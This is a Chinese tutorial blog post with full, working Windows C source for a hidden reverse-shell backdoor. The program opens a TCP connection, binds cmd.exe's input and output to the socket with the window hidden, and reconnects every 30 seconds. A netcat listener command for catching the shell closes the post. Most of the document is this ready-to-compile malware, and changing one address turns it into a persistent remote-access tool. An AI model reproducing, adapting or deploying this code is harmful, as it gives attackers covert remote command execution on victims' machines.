17.3 实现无管道反向CMD

举报
王瑞专家 发表于 2023/10/23 09:05:17 2023/10/23
【摘要】 WSASocket无管道反向CMD,与无管道正向CMD相反,这种方式是在远程主机上创建一个TCP套接字,并绑定到一个本地地址和端口上。然后在本地主机上,使用WSASocket函数连接到远程主机的套接字,并将标准输入、输出和错误输出重定向到套接字的句柄上。这样,本地主机就可以通过网络连接到远程主机的套接字,发送CMD命令并获取命令输出结果。这种方式称为无管道反向CMD,因为CMD进程的输入输出...

WSASocket无管道反向CMD,与无管道正向CMD相反,这种方式是在远程主机上创建一个TCP套接字,并绑定到一个本地地址和端口上。然后在本地主机上,使用WSASocket函数连接到远程主机的套接字,并将标准输入、输出和错误输出重定向到套接字的句柄上。这样,本地主机就可以通过网络连接到远程主机的套接字,发送CMD命令并获取命令输出结果。这种方式称为无管道反向CMD,因为CMD进程的输入输出是通过套接字而非管道进行的。

#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#include <WinSock2.h>
#include <windows.h>

#pragma comment(lib,"ws2_32")

const CHAR* REMOTE_ADDR = "127.0.0.1";
const DWORD REMOTE_PORT = 9999;
const DWORD MAXSTR = 255;

void StartShell(SOCKET sSock)
{
  STARTUPINFO si;
  PROCESS_INFORMATION pi;
  CHAR cmdline[MAXSTR] = { 0 };

  // 绑定输入输出
  GetStartupInfo(&si);
  si.cb = sizeof(STARTUPINFO);
  si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sSock;
  si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
  si.wShowWindow = SW_HIDE;

  // 取系统目录并拼接CMD.exe
  GetSystemDirectory(cmdline, MAXSTR);
  strcat_s(cmdline, MAXSTR, "\\cmd.exe");

  // 创建进程
  while (!CreateProcess(NULL, cmdline, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi))
  {
    Sleep(1000);
  }
  WaitForSingleObject(pi.hProcess, INFINITE);
  CloseHandle(pi.hProcess);
  CloseHandle(pi.hThread);
  return;
}

int main(int argc, char *argv[])
{
  SOCKADDR_IN sin;
  WSADATA wsd;
  SOCKET sSock;
  int cRet;

  // 初始化套接字
  if (WSAStartup(MAKEWORD(2, 2), &wsd) == SOCKET_ERROR)
  {
    return 0;
  }

  while (1)
  {
    // 绑定异步套接字
    if ((sSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0)) == INVALID_SOCKET)
    {
      return 0;
    }

    // 设置端口信息等
    sin.sin_family = AF_INET;
    sin.sin_addr.S_un.S_addr = inet_addr(REMOTE_ADDR);
    sin.sin_port = htons(REMOTE_PORT);

    do
    {
      // 连接到远程主机
      cRet = connect(sSock, (sockaddr*)&sin, sizeof(sin));
    } while (cRet == SOCKET_ERROR);
    
    // 启动CMD后门
    StartShell(sSock);
    closesocket(sSock);
    Sleep(30000);
  }

  WSACleanup();
  return 0;
}

编译并运行上述程序,读者可自行打开netcat工具,并执行nc -l -p 9999开启本机侦听端口,此时后门程序会每隔30000毫秒自动连接一次服务端,当连接成功后则自动执行StartShell函数创建一个反弹后门,输出效果图如下所示;

image.png

本文作者: 王瑞
本文链接: https://www.lyshark.com/post/1bbae8df.html
版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。